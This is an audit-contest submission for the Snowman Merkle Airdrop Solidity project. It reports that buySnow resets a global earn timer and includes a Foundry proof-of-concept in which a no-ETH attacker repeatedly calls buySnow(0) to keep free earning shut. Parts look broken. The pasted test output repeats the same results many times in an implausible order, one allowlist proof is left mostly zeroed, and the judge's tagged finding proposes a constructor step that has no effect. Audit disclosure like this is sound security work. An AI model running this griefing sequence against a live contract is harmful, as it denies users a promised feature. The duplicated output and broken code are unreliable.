Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: low
Valid

Snow.buySnow resets the earn timer on every purchase, even buySnow(0) with no ETH, so ordinary purchases or one free call per week stop anyone from ever earning Snow

buySnow writes s_earnTimer, the value earnSnow checks, so any purchase pushes the next earn a week away and the free route to Snow can be kept shut

Description

The README gives two independent ways to get Snow: it "can either be earned for free onece a week, or bought at anytime" during the farming window (README.md:19). earnSnow enforces the weekly limit with s_earnTimer (src/Snow.sol:93-98). But buySnow also writes that timer, on every call (src/Snow.sol:87):

// src/Snow.sol
function buySnow(uint256 amount) external payable canFarmSnow {
if (msg.value == (s_buyFee * amount)) {
_mint(msg.sender, amount);
} else {
i_weth.safeTransferFrom(msg.sender, address(this), (s_buyFee * amount));
_mint(msg.sender, amount);
}
​
@> s_earnTimer = block.timestamp; // :87, every purchase resets the earn timer
​
emit SnowBought(msg.sender, amount);
}
​
function earnSnow() external canFarmSnow {
@> if (s_earnTimer != 0 && block.timestamp < (s_earnTimer + 1 weeks)) { // :93, so a purchase blocks the next earn
revert S__Timer();
}
_mint(msg.sender, 1);
​
s_earnTimer = block.timestamp;
}

So any purchase pushes the next earn a full week out, whatever its size. That includes buySnow(0) with no ETH: msg.value == s_buyFee * 0 holds, so the call mints nothing, costs nothing but gas, and still resets the timer. No reading of "earned for free once a week" has a purchase delaying an earn.

On the code as written the timer is also contract-wide, which is a separate issue in its own right, so a purchase by anyone delays everyone's next earn. Two consequences only this line causes:

  • No attacker is needed. Ordinary purchases less than a week apart keep earning shut for everyone.

  • No race is needed. Anyone can reset the timer before it expires, with buySnow(0) and no ETH, so the free route can be kept shut for the whole farming window at the cost of gas.

With line 87 deleted, only an earn resets the timer, so someone can still earn each week.

Risk

Likelihood: High. It happens in normal use, with no attacker: in the PoC one honest buyer purchasing every 6.5 days keeps Alice from ever earning, across 13 purchases in the window (test_faucet_ordinaryPurchasesBlockEarningWithNoAttacker). With an attacker, it costs only gas: an address holding no ETH does it with buySnow(0) (test_F005_oracle_thirdPartyZeroPurchaseDelaysEarn).

Impact: Medium. One of the README's two routes to Snow is closed, so free earning, the protocol's free path to the airdrop, stops working. Buying still works, and no funds are taken. A buyer's own purchase delays their own earn too, on any reading of "once a week" (test_F005_oracle_ownZeroPurchaseDelaysOwnEarn).

CodeHawks' validity guide lists "minor inconveniences or design opinions with no clear loss of funds indication" among findings that may be invalid. This isn't a minor inconvenience: across the whole window nothing is earned at all, so a listed holder who meant to earn their allocation has to buy it.

Context, about the timer's contract-wide scope as well as this line: in the PoC's whole-window test, 13 buySnow(0) calls block all 60 earn attempts by the five listed accounts, which then pay 25 ETH between them to claim, at the deploy script's 5 ETH fee, against 0 in the control (test_F005_oracle_wholeWindowFaucetClosedListPays, test_F005_control_wholeWindowNoPurchasesListPaysNothing). A griefer calling earnSnow at each expiry could take every free unit even without line 87, so that 25 ETH isn't this line's own cost.

Proof of Concept

Save the file below as test/F005PurchaseResetsEarnTimer.t.sol in the contest repository and run, from the repository root (no fork needed):

forge test --match-path test/F005PurchaseResetsEarnTimer.t.sol -vvv

It imports only the repository's own src/ files and forge-std. Its setUp deploys the real Snow, Snowman and SnowmanAirdrop the way the repo's deploy scripts do: MockWETH, a fee of 5, and the committed Merkle root. The committed allowlist's names and proofs are copied into the file from script/flakes/output.json, for the whole-window claims. Nothing is mocked or stubbed. Actors:

  • Attacker: mallory, holding no ETH, calling buySnow(0). The self-delay and honest-purchase tests have no attacker.

  • Victim: alice, and in the whole-window test the five listed accounts, who want to earn.

  • Protocol: Snow, with SnowmanAirdrop for the end-of-window claims. bob is an honest buyer.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
​
// Save as test/F005PurchaseResetsEarnTimer.t.sol in the contest repository, then run:
// forge test --match-path test/F005PurchaseResetsEarnTimer.t.sol -vvv
// It imports only the repository's own src/ files and forge-std.
​
import {Test, console2} from "forge-std/Test.sol";
import {Snow} from "../src/Snow.sol";
import {Snowman} from "../src/Snowman.sol";
import {SnowmanAirdrop} from "../src/SnowmanAirdrop.sol";
import {MockWETH} from "../src/mock/MockWETH.sol";
​
/// @notice The committed allowlist, copied from script/flakes/output.json: the five fixture accounts, their leaf amount
/// and their proofs against the root in script/DeploySnowmanAirdrop.s.sol.
library Allowlist {
bytes32 internal constant ROOT = 0xc0b6787abae0a5066bc2d09eaec944c58119dc18be796e93de5b2bf9f80ea79a;
uint256 internal constant LEAF_AMOUNT = 1;
uint256 internal constant SIZE = 5;
​
function accountName(uint256 i) internal pure returns (string memory) {
if (i == 0) return "alice";
if (i == 1) return "bob";
if (i == 2) return "clara";
if (i == 3) return "dan";
return "eli";
}
​
function proof(uint256 i) internal pure returns (bytes32[] memory p) {
p = new bytes32[](3);
if (i == 0) {
p[0] = 0xf99782cec890699d4947528f9884acaca174602bb028a66d0870534acf241c52;
p[1] = 0xbc5a8a0aad4a65155abf53bb707aa6d66b11b220ecb672f7832c05613dba82af;
p[2] = 0x971653456742d62534a5d7594745c292dda6a75c69c43a6a6249523f26e0cac1;
} else if (i == 1) {
p[0] = 0x51c4b9a3cc313d7d7325f2d5d9e782a5a484e56a38947ab7eea7297ec86ff138;
p[1] = 0xbc5a8a0aad4a65155abf53bb707aa6d66b11b220ecb672f7832c05613dba82af;
p[2] = 0x971653456742d62534a5d7594745c292dda6a75c69c43a6a6249523f26e0cac1;
} else if (i == 2) {
p[0] = 0x0065f7c9c934093ee1c4d51b77e77ad69d1c21351298d21cc720df18a39412f5;
p[1] = 0xe4f70a2d0da3e6c29810b3eb84deeae82d06479d602b0e64225458c968f98cc1;
p[2] = 0x971653456742d62534a5d7594745c292dda6a75c69c43a6a6249523f26e0cac1;
} else if (i == 3) {
p[0] = 0xc7c84a70b50ff4103e9a8b3a716b446a138a507fc1b65ebdfae38439e52b2612;
p[1] = 0xe4f70a2d0da3e6c29810b3eb84deeae82d06479d602b0e64225458c968f98cc1;
p[2] = 0x971653456742d62534a5d7594745c292dda6a75c69c43a6a6249523f26e0cac1;
} else {
p[2] = 0xd7ed3892547c15a926b49d400e13fefe2c9f08de658f08b09925d5790383e978;
}
}
}
​
/// @title F-005 proof: Snow.buySnow writes s_earnTimer (Snow.sol:87), so any purchase, even buySnow(0) with no ETH,
/// pushes the next earnSnow a week away.
/// @notice Snow, Snowman and SnowmanAirdrop are the real contracts from src/, deployed in setUp the way
/// script/DeploySnow.s.sol and script/DeploySnowmanAirdrop.s.sol do (MockWETH, a fee of 5, the committed root).
/// Nothing is stubbed.
/// Actors:
/// - Attacker: mallory, holding no ETH, calling buySnow(0). In the self-delay and honest-purchase tests there's no attacker.
/// - Victim: alice, and in the whole-window test the five listed accounts, who want to earn.
/// - Protocol: Snow, with SnowmanAirdrop for the end-of-window claims. bob is an honest buyer.
/// Reachability:
/// - vm.warp in setUp sets the deployment time; later warps go to stored timestamps inside the 12-week farming
/// window, i.e. ordinary time passing.
/// - vm.prank(x) is x's own call to buySnow / earnSnow / approve, all open to anyone during farming, or anyone
/// submitting claimSnowman, which has no caller check.
/// - vm.deal gives an honest buyer exactly the listed fee in ETH, the ordinary way to buy. The griefer is never dealt
/// anything: buySnow(0) with msg.value 0 satisfies `msg.value == s_buyFee * 0`.
/// - vm.sign signs the contract's own getMessageHash digest so the five listed accounts can claim at the end; it
/// isn't part of the defect.
contract F005PurchaseResetsEarnTimerTest is Test {
uint256 internal constant START = 1_700_000_000; // the deployment time this test uses
uint256 internal constant BUY_FEE = 5; // the fee DeploySnow.s.sol uses
​
MockWETH internal weth; // Protocol: the WETH Snow is deployed with
Snow internal snow; // Protocol
Snowman internal nft; // Protocol
SnowmanAirdrop internal airdrop; // Protocol
address internal collector; // Protocol: the fee collector
​
address private alice; // Victim: wants to earn
address private bob; // an honest buyer
address private mallory; // Attacker: holds no ETH
​
function setUp() public {
vm.warp(START); // the deployment time
collector = makeAddr("collector"); // Protocol: the collector
weth = new MockWETH(); // Protocol: the WETH, as DeploySnow.s.sol deploys it
snow = new Snow(address(weth), BUY_FEE, collector); // Protocol: Snow, with a fee of 5
nft = new Snowman("data:image/svg+xml;base64,AA=="); // Protocol: Snowman (the image doesn't matter here)
airdrop = new SnowmanAirdrop(Allowlist.ROOT, address(snow), address(nft)); // Protocol: the airdrop, with the committed root
alice = makeAddr("alice"); // Victim
bob = makeAddr("bob"); // honest buyer
mallory = makeAddr("mallory"); // Attacker
}
​
/// @dev Buy `amount` units at the listed fee, as `who`.
function _buySnow(address who, uint256 amount) private {
uint256 cost = snow.s_buyFee() * amount; // the listed price
vm.deal(who, cost); // honest buyer holds the listed fee
vm.prank(who); // buySnow is open to anyone
snow.buySnow{value: cost}(amount); // exact ETH, so the ETH path
}
​
/// @dev Self-delay, which holds on ANY reading of "once a week" (global or per user): Alice's own buySnow(0),
/// costing no ETH and minting nothing, makes her next due earn revert.
function test_F005_oracle_ownZeroPurchaseDelaysOwnEarn() public {
uint256 t0 = START; // the first earn
uint256 t1 = START + 1 weeks; // when the next earn is due
vm.warp(t0); // time: t0
vm.prank(alice); // Victim calls
snow.earnSnow(); // first earn, sets the timer
​
vm.warp(t1); // time: the next earn is due
uint256 supplyBefore = snow.totalSupply(); // snapshot: Snow supply
uint256 ethBefore = address(snow).balance; // snapshot: Protocol's ETH
vm.prank(alice); // Victim calls
snow.buySnow(0); // a zero-unit purchase with no ETH: Snow.sol:87 still writes the timer
assertEq(snow.totalSupply(), supplyBefore, "buySnow(0) minted nothing"); // nothing bought
assertEq(address(snow).balance, ethBefore, "buySnow(0) paid nothing"); // nothing paid
​
vm.prank(alice); // Victim calls
vm.expectRevert(Snow.S__Timer.selector); // the due earn is now blocked
snow.earnSnow(); // the earn that was due
​
// It stays blocked for another full week from the purchase.
vm.warp(t1 + 1 weeks - 1); // time: one second short of a week after the purchase
vm.prank(alice); // Victim calls
vm.expectRevert(Snow.S__Timer.selector); // still blocked
snow.earnSnow(); // earn attempt
vm.warp(t1 + 1 weeks); // time: a full week after the purchase
vm.prank(alice); // Victim calls
snow.earnSnow(); // only now does it succeed
assertEq(snow.balanceOf(alice), 2, "earn only resumes a week after the purchase"); // a week lost
}
​
/// @dev The finding's oracle as written: a third party with no ETH does the zero-unit purchase.
function test_F005_oracle_thirdPartyZeroPurchaseDelaysEarn() public {
uint256 t0 = START; // the first earn
uint256 t1 = START + 1 weeks; // when the next earn is due
vm.warp(t0); // time: t0
vm.prank(alice); // Victim calls
snow.earnSnow(); // first earn, sets the timer
​
vm.warp(t1); // time: the next earn is due
assertEq(mallory.balance, 0, "mallory holds no ETH"); // Attacker has nothing
vm.prank(mallory); // Attacker calls
snow.buySnow(0); // free reset of the global timer
​
vm.prank(alice); // Victim calls
vm.expectRevert(Snow.S__Timer.selector); // her due earn is blocked
snow.earnSnow(); // the earn that was due
}
​
/// @dev No attacker: one ordinary paid purchase by an honest buyer delays the earn the same way.
function test_F005_oracle_honestPurchaseDelaysEarn() public {
uint256 t0 = START; // the first earn
uint256 t1 = START + 1 weeks; // when the next earn is due
vm.warp(t0); // time: t0
vm.prank(alice); // Victim calls
snow.earnSnow(); // first earn, sets the timer
​
vm.warp(t1); // time: the next earn is due
_buySnow(bob, 1); // an honest buyer pays for one unit
assertEq(snow.balanceOf(bob), 1); // the purchase went through
​
vm.prank(alice); // Victim calls
vm.expectRevert(Snow.S__Timer.selector); // her due earn is blocked by someone else's purchase
snow.earnSnow(); // the earn that was due
}
​
function test_faucet_ordinaryPurchasesBlockEarningWithNoAttacker() public {
uint256 farmingOver = START + 12 weeks; // end of the farming window
uint256 fee = snow.s_buyFee(); // the listed price
vm.deal(bob, fee * 20); // an honest buyer with enough ETH for 20 units
uint256 t = START; // time of the next purchase
uint256 purchases; // purchases made
​
while (t < farmingOver) { // across the whole window
vm.warp(t); // time: the next purchase
vm.prank(bob); // the honest buyer calls
snow.buySnow{value: fee}(1); // an ordinary paid purchase of one unit
purchases++; // count it
​
uint256 attempt = t + 6 days; // the Victim tries six days later
if (attempt < farmingOver) { // still inside the window
vm.warp(attempt); // time: the attempt
vm.prank(alice); // Victim calls
vm.expectRevert(Snow.S__Timer.selector); // blocked by the last purchase
snow.earnSnow(); // earn attempt
}
t += 6 days + 12 hours; // the next purchase, 6.5 days later
}
​
console2.log("honest purchases in the window:", purchases); // log: purchases
assertEq(snow.balanceOf(alice), 0, "alice could never earn"); // the Victim earned nothing
assertEq(snow.totalSupply(), purchases, "all supply was bought"); // and no unit was ever earned
}
​
/// @dev Control: a week after Alice earns, with no purchase in between, Alice earns again.
function test_F005_control_noPurchaseEarnSucceedsAWeekLater() public {
uint256 t0 = START; // the first earn
uint256 t1 = START + 1 weeks; // a week later
vm.warp(t0); // time: t0
vm.prank(alice); // Victim calls
snow.earnSnow(); // first earn, sets the timer
​
vm.warp(t1); // time: a week later, no purchase in between
vm.prank(alice); // Victim calls
snow.earnSnow(); // second earn succeeds
assertEq(snow.balanceOf(alice), 2, "two weekly earns, nothing in between"); // both earns landed
}
​
/// @dev From deployment, Mallory calls buySnow(0) just under a week apart. Every earnSnow attempt by the five
/// listed accounts reverts, totalSupply stays 0, and the list has to buy its leaf amounts: 5 * fee.
function test_F005_oracle_wholeWindowFaucetClosedListPays() public {
uint256 farmingOver = START + 12 weeks; // end of the farming window
uint256 resets; // Attacker's buySnow(0) calls
uint256 blockedEarns; // Victims' failed earn attempts
uint256 t = START; // time of the next reset
​
while (t < farmingOver) { // across the whole window
vm.warp(t); // time: the next reset
vm.prank(mallory); // Attacker calls
snow.buySnow(0); // free reset
resets++; // count it
​
uint256 attempt = t + 1 weeks - 2; // just before the timer would expire
if (attempt < farmingOver) { // still inside the window
vm.warp(attempt); // time: the Victims try
for (uint256 i = 0; i < Allowlist.SIZE; i++) { // each of the five listed accounts
vm.prank(makeAddr(Allowlist.accountName(i))); // Victim calls
vm.expectRevert(Snow.S__Timer.selector); // blocked
snow.earnSnow(); // earn attempt
blockedEarns++; // count it
}
}
t += 1 weeks - 1; // the next reset, just under a week later
}
assertEq(snow.totalSupply(), 0, "nothing earned in the whole window"); // the faucet never paid out
assertEq(mallory.balance, 0, "the resets cost only gas"); // Attacker spent no ETH
​
uint256 ethBefore = address(snow).balance; // snapshot: Protocol's ETH
vm.warp(farmingOver - 1); // time: the last second of the window
uint256 fee = snow.s_buyFee(); // the listed price
for (uint256 i = 0; i < Allowlist.SIZE; i++) { // each listed account
(address who, uint256 key) = makeAddrAndKey(Allowlist.accountName(i)); // Victim and key
_buySnow(who, 1); // Victim has to buy the unit it meant to earn
vm.prank(who); // Victim calls
snow.approve(address(airdrop), 1); // exact approval for the claim
(uint8 v, bytes32 r, bytes32 s) = vm.sign(key, airdrop.getMessageHash(who)); // Victim signs
airdrop.claimSnowman(who, Allowlist.proof(i), v, r, s); // the claim
assertEq(nft.balanceOf(who), 1); // it claims
}
​
console2.log("buySnow(0) resets:", resets); // log: 13
console2.log("earn attempts blocked:", blockedEarns); // log: 60
console2.log("snow ETH before claims (wei):", ethBefore); // log: 0
console2.log("snow ETH after claims (wei):", address(snow).balance); // log: 25e18
assertEq(address(snow).balance - ethBefore, 5 * fee, "list paid 5 * fee for what was meant to be free"); // 25 ETH at this fee
}
​
/// @dev Control: with no purchases the same five earn and claim, paying nothing.
function test_F005_control_wholeWindowNoPurchasesListPaysNothing() public {
for (uint256 i = 0; i < Allowlist.SIZE; i++) { // each listed account
(address who, uint256 key) = makeAddrAndKey(Allowlist.accountName(i)); // the account and key
vm.warp(START + i * 1 weeks); // time: its own week
vm.prank(who); // it calls
snow.earnSnow(); // a free unit
vm.prank(who); // it calls
snow.approve(address(airdrop), 1); // exact approval
(uint8 v, bytes32 r, bytes32 s) = vm.sign(key, airdrop.getMessageHash(who)); // it signs
airdrop.claimSnowman(who, Allowlist.proof(i), v, r, s); // the claim
assertEq(nft.balanceOf(who), 1); // it claims
}
assertEq(address(snow).balance, 0, "nobody paid"); // no ETH reached the Protocol
}
}

Output, from a clean copy of the repository at commit 6efcb0f with its own foundry.toml:

[PASS] test_F005_oracle_ownZeroPurchaseDelaysOwnEarn() (gas: 290288)
[PASS] test_F005_oracle_thirdPartyZeroPurchaseDelaysEarn() (gas: 186220)
[PASS] test_F005_oracle_wholeWindowFaucetClosedListPays() (gas: 4511139)
Logs:
buySnow(0) resets: 13
earn attempts blocked: 60
snow ETH before claims (wei): 0
snow ETH after claims (wei): 25000000000000000000
[PASS] test_F005_oracle_thirdPartyZeroPurchaseDelaysEarn() (gas: 186220)
[PASS] test_F005_oracle_wholeWindowFaucetClosedListPays() (gas: 4511139)
Logs:
buySnow(0) resets: 13
earn attempts blocked: 60
snow ETH before claims (wei): 0
snow ETH after claims (wei): 25000000000000000000
[PASS] test_F005_oracle_honestPurchaseDelaysEarn() (gas: 240260)
[PASS] test_F005_oracle_ownZeroPurchaseDelaysOwnEarn() (gas: 290288)
[PASS] test_F005_oracle_thirdPartyZeroPurchaseDelaysEarn() (gas: 186220)
[PASS] test_F005_oracle_wholeWindowFaucetClosedListPays() (gas: 4511139)
Logs:
buySnow(0) resets: 13
earn attempts blocked: 60
snow ETH before claims (wei): 0
snow ETH after claims (wei): 25000000000000000000
[PASS] test_faucet_ordinaryPurchasesBlockEarningWithNoAttacker() (gas: 1205800)
Logs:
honest purchases in the window: 13
[PASS] test_F005_control_noPurchaseEarnSucceedsAWeekLater() (gas: 159446)
[PASS] test_F005_control_wholeWindowNoPurchasesListPaysNothing() (gas: 1717573)
[PASS] test_F005_oracle_honestPurchaseDelaysEarn() (gas: 240260)
[PASS] test_F005_oracle_ownZeroPurchaseDelaysOwnEarn() (gas: 290288)
[PASS] test_F005_oracle_thirdPartyZeroPurchaseDelaysEarn() (gas: 186220)
[PASS] test_F005_oracle_wholeWindowFaucetClosedListPays() (gas: 4511139)
Logs:
buySnow(0) resets: 13
earn attempts blocked: 60
snow ETH before claims (wei): 0
snow ETH after claims (wei): 25000000000000000000
[PASS] test_F005_oracle_wholeWindowFaucetClosedListPays() (gas: 4511139)
Logs:
buySnow(0) resets: 13
earn attempts blocked: 60
snow ETH before claims (wei): 0
snow ETH after claims (wei): 25000000000000000000
[PASS] test_F005_control_wholeWindowNoPurchasesListPaysNothing() (gas: 1717573)
[PASS] test_F005_oracle_honestPurchaseDelaysEarn() (gas: 240260)
[PASS] test_F005_oracle_ownZeroPurchaseDelaysOwnEarn() (gas: 290288)
[PASS] test_F005_oracle_thirdPartyZeroPurchaseDelaysEarn() (gas: 186220)
[PASS] test_F005_oracle_wholeWindowFaucetClosedListPays() (gas: 4511139)
Logs:
buySnow(0) resets: 13
earn attempts blocked: 60
snow ETH before claims (wei): 0
snow ETH after claims (wei): 25000000000000000000
  • One purchase, one delay: a week after Alice earns, her own buySnow(0), a third party's buySnow(0) with no ETH, or an honest paid purchase each makes her due earn revert with S__Timer. After her own buySnow(0) it stays blocked until a full week after the purchase.

  • No attacker, whole window: one honest buyer purchasing every 6.5 days makes 13 purchases, Alice never earns, and all Snow in existence was bought. The test has Alice try six days after each purchase. Because the purchases are less than a week apart, the timer never expires in between, so no earn could succeed at any other moment either.

  • Control: with no purchase in between, Alice earns again a week later.

  • Context, the whole window with resets: 13 resets block 60 earns, and the five listed accounts pay 25e18 wei to claim, against 0 in the no-purchase control.

Recommended Mitigation

Delete the write in buySnow, so a purchase doesn't touch the earn timer:

function buySnow(uint256 amount) external payable canFarmSnow {
if (msg.value == (s_buyFee * amount)) {
_mint(msg.sender, amount);
} else {
i_weth.safeTransferFrom(msg.sender, address(this), (s_buyFee * amount));
_mint(msg.sender, amount);
}
​
- s_earnTimer = block.timestamp;
-
emit SnowBought(msg.sender, amount);
}

Notes:

  • Tested: this change was tested on a patched copy of Snow. A zero, third-party or honest purchase no longer delays a due earn. Over the whole window with weekly buySnow(0) resets, all five listed accounts earn and claim for nothing. Buying with ETH and WETH, the weekly earn limit and collectFee still work.

  • Related: the timer is also a single contract-wide value, so one address's earn blocks everyone else for a week. Deleting this line doesn't change that. It needs a per-address timer, checked and updated only in earnSnow, which is a separate issue.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 18 minutes ago
Submission Judgement Published
Validated
Assigned finding tags:

[L-02] Global Timer Reset in Snow::buySnow Denies Free Claims for All Users

## Description: The `Snow::buySnow` function contains a critical flaw where it resets a global timer `(s_earnTimer)` to the current block timestamp on every invocation. This timer controls eligibility for free token claims via `Snow::earnSnow()`, which requires 1 week to pass since the last timer reset. As a result: Any token purchase `(via buySnow)` blocks all free claims for all users for 7 days Malicious actors can permanently suppress free claims with micro-transactions Contradicts protocol documentation promising **"free weekly claims per user"** ## Impact: * **Complete Denial-of-Service:** Free claim mechanism becomes unusable * **Broken Protocol Incentives:** Undermines core user acquisition strategy * **Economic Damage:** Eliminates promised free distribution channel * **Reputation Harm:** Users perceive protocol as dishonest ```solidity function buySnow(uint256 amount) external payable canFarmSnow { if (msg.value == (s_buyFee * amount)) { _mint(msg.sender, amount); } else { i_weth.safeTransferFrom(msg.sender, address(this), (s_buyFee * amount)); _mint(msg.sender, amount); } @> s_earnTimer = block.timestamp; emit SnowBought(msg.sender, amount); } ``` ## Risk **Likelihood**: • Triggered by normal protocol usage (any purchase) • Requires only one transaction every 7 days to maintain blockage • Incentivized attack (low-cost disruption) **Impact**: • Permanent suppression of core protocol feature • Loss of user trust and adoption • Violates documented tokenomics ## Proof of Concept **Attack Scenario:** Permanent Free Claim Suppression * Attacker calls **buySnow(1)** with minimum payment * **s\_earnTimer** sets to current timestamp (T0) * All **earnSnow()** calls revert for **next 7 days** * On day 6, attacker repeats **buySnow(1)** * New timer reset (T1 = T0+6 days) * Free claims blocked until **T1+7 days (total 13 days)** * Repeat step **4 every 6 days → permanent blockage** **Test Case:** ```solidity // Day 0: Deploy contract snow = new Snow(...); // s_earnTimer = 0 // UserA claims successfully snow.earnSnow(); // Success (first claim always allowed) // Day 1: UserB buys 1 token snow.buySnow(1); // Resets global timer to day 1 // Day 2: UserA attempts claim snow.earnSnow(); // Reverts! Requires day 1+7 = day 8 // Day 7: UserC buys 1 token (day 7 < day 1+7) snow.buySnow(1); // Resets timer to day 7 // Day 8: UserA retries snow.earnSnow(); // Still reverts! Now requires day 7+7 = day 14 ``` ## Recommended Mitigation **Step 1:** Remove Global Timer Reset from `buySnow` ```diff function buySnow(uint256 amount) external payable canFarmSnow { // ... existing payment logic ... - s_earnTimer = block.timestamp; emit SnowBought(msg.sender, amount); } ``` **Step 2:** Implement Per-User Timer in `earnSnow` ```solidity // Add new state variable mapping(address => uint256) private s_lastClaimTime; function earnSnow() external canFarmSnow { // Check per-user timer instead of global if (s_lastClaimTime[msg.sender] != 0 && block.timestamp < s_lastClaimTime[msg.sender] + 1 weeks ) { revert S__Timer(); } _mint(msg.sender, 1); s_lastClaimTime[msg.sender] = block.timestamp; // Update user-specific timer emit SnowEarned(msg.sender, 1); // Add missing event } ``` **Step 3:** Initialize First Claim (Constructor) ```solidity constructor(...) { // Initialize with current timestamp to prevent immediate claims s_lastClaimTime[address(0)] = block.timestamp; } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!